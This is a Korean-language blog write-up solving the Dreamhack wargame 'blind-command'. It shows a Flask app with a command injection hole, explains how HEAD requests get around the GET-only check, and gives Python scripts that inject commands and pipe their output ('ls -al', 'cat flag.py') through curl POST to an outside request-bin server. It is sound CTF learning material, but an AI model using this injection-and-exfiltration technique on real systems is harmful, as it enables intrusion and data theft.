CTF, War game

[Dreamhack] Level 2: blind-command

mnzy๐ŸŒฑ 2024. 6. 29. 04:08

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/73

 

blind-command

Read the flag file XD Reference Web Hacking

dreamhack.io

flag file์„ ์ฝ์œผ๋ผ๊ณ  ๋˜์–ด์žˆ๋‹ค.

 

2. ํ•ด๊ฒฐ ๊ณผ์ •

(1) ๋ฌธ์ œ ํŽ˜์ด์ง€ ํ™•์ธ

?cmd=hi๋ฅผ ์ฃผ๋ฉด ํ™”๋ฉด์— ๊ทธ๋Œ€๋กœ ๋ฌธ์ž์—ด์ด ์ถœ๋ ฅ๋œ๋‹ค.

 

(2) ์ฝ”๋“œ ํ™•์ธ

cmd์˜ ์ฟผ๋ฆฌ๊ฐ’์„ ๋ฐ›์•„ ์‹คํ–‰ํ•˜๋Š” ์ „ํ˜•์ ์ธ command injection ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š” ํŽ˜์ด์ง€์ด๋‹ค. 

๊ทธ๋Ÿฌ๋‚˜ GET ์œผ๋กœ ์š”์ฒญ์„ ๋ฐ›์•„์˜ฌ ๋•Œ๊ฐ€ ์•„๋‹ˆ๋ผ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ cmd๊ฐ’์„ ์ค„ ๋•Œ๋งŒ ์ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. 

๋˜ํ•œ ์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ™•์ธํ•  ์ˆ˜ ์—†๋‹ค.

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

๋”ฐ๋ผ์„œ POST ๋ฉ”์„œ๋“œ๋กœ ls-al์„ ์‹คํ–‰ํ•ด๋ณด๊ณ  ๋‚ด ์„œ๋ฒ„์— ๊ทธ ๊ฒฐ๊ณผ๊ฐ’์„ ๋ณด๋‚ด๋„๋ก ์š”์ฒญ์„ ๋ณด๋‚ด๋ณด๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด์•˜์ง€๋งŒ, ์„œ๋ฒ„์—์„œ POST ์š”์ฒญ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค๊ณ  ํ•œ๋‹ค. 

 

๊ทธ๋ž˜์„œ OPTIONS ์š”์ฒญ์„ ๋ณด๋‚ด์„œ ์–ด๋–ค ๋ฉ”์„œ๋“œ๊ฐ€ ํ—ˆ์šฉ๋˜๋Š”์ง€ ํ™•์ธํ•ด๋ณด์•˜๋‹ค. 

๊ทธ ๊ฒฐ๊ณผ GET, HEAD, OPTIONS ๋ฉ”์„œ๋“œ๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๋‹ค. 

(HTTP HEAD method๋Š” GET method๊ฐ€ ํ—ˆ์šฉ๋˜๋Š” ๊ณณ์—๋Š” ๋ฐ˜๋“œ์‹œ ํ—ˆ์šฉ๋œ๋‹ค.)

import requests

url = 'http://host3.dreamhack.games:24513/'

try:
    response = requests.options(url)

    # ์‘๋‹ต ์ถœ๋ ฅ
    if 'allow' in response.headers:
        allowed_methods = response.headers['allow']
        print(f'Supported methods for {url}: {allowed_methods}')
    else:
        print(f'No allowed methods information found in response headers.')
except requests.exceptions.RequestException as e:
    print(f'An error occurred: {e}')

 

์ดํ›„์—๋Š” GET ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ์šฐํšŒ๋ฅผ ๊ตฌ๊ธ€๋งํ•ด๋ณด์•˜๋‹ค. 

์ฐธ๊ณ  ๋ธ”๋กœ๊ทธ โ–ผ

๋”๋ณด๊ธฐ

HEAD๋ฉ”์„œ๋“œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ GET ๋ฉ”์„œ๋“œ์™€ ์œ ์‚ฌํ•˜๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ด์ง€์ง€๋งŒ, body๊ฐ’์ด ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค. 

์ค‘์š”ํ•œ ๊ฒƒ์€ ๊ฒฐ๊ตญ ์„œ๋ฒ„์—์„œ๋Š” HEAD ์š”์ฒญ์— ๋Œ€ํ•ด์„œ๋„ GET ์š”์ฒญ์ด์—ˆ์„ ๋•Œ์™€ ๋™์ผํ•œ ํ—ค๋” ํ•„๋“œ๋ฅผ ์‘๋‹ต์œผ๋กœ ๋ณด๋‚ด์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. 

- ๋‹จ, ํŽ˜์ด๋กœ๋“œ ํ—ค๋” ํ•„๋“œ(์˜ˆ: Content-Length)๋Š” ์ƒ๋žต๋  ์ˆ˜ ์žˆ๋‹ค.

 

์ด๋ ‡๊ฒŒ ํŽ˜์ด๋กœ๋“œ ์‹คํ–‰์€ HEAD์š”์ฒญ์œผ๋กœ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์šฐ๋ฆฌ๋Š” ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์•Œ๊ธฐ ์œ„ํ•ด์„œ body๊ฐ’์— ๋‚ด์šฉ์„ ๋ฐ›์•„์™€์•ผ ํ•œ๋‹ค.

๋”ฐ๋ผ์„œ, ์„œ๋ฒ„์—๋Š” HEAD์š”์ฒญ์„ ๋ณด๋‚ด๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ POST ์š”์ฒญ์œผ๋กœ ๋‚ด๊ฐ€ ์ง€์ •ํ•œ ์„œ๋ฒ„์— ์ „์†กํ•  ์ˆ˜ ์žˆ๋„๋ก ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์งค ์ˆ˜ ์žˆ๋‹ค. 

ls -al์„ ์‹คํ–‰ํ•˜๊ณ  ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋‚ด ์„œ๋ฒ„์— ๋ณด๋‚ด๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜์˜€๋‹ค. 

import requests

url = 'http://host3.dreamhack.games:24513/?cmd='
target_server = 'https://sbqbwyf.request.dreamhack.games/'

cmd = 'ls -al'
full_cmd = f"{cmd} | curl -X POST -d @- {target_server}"

encoded_cmd = requests.utils.quote(full_cmd)

full_url = f"{url}{encoded_cmd}"

try:
   
    response = requests.head(full_url)

    print(f"Response headers: {response.headers}")
    print(f"Response status code: {response.status_code}")
    
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")

 

์‹คํ–‰ ๊ฒฐ๊ณผ, ํ”Œ๋ž˜๊ทธ ํŒŒ์ผ(flag.py)์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค. 

๋”ฐ๋ผ์„œ ์ด ํŒŒ์ผ์„ ์ฝ์–ด์˜ค๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ์‹คํ–‰ํ•ด๋ณด๋ฉด ๋  ๊ฒƒ ๊ฐ™๋‹ค.

 

cat์„ ํ†ตํ•ด flag.py ํŒŒ์ผ์„ ์ฝ๊ณ  ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์ง€์ • ์„œ๋ฒ„๋กœ ๋ณด๋‚ด๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜์˜€๋‹ค. 

import requests

url = 'http://host3.dreamhack.games:24513/?cmd='
target_server = 'https://sbqbwyf.request.dreamhack.games/'

cmd = 'cat flag.py'
full_cmd = f"{cmd} | curl -X POST -d @- {target_server}"

encoded_cmd = requests.utils.quote(full_cmd)

full_url = f"{url}{encoded_cmd}"

try:
    response = requests.head(full_url)

    print(f"Response headers: {response.headers}")
    print(f"Response status code: {response.status_code}")
    
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")

 

๊ทธ ๊ฒฐ๊ณผ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.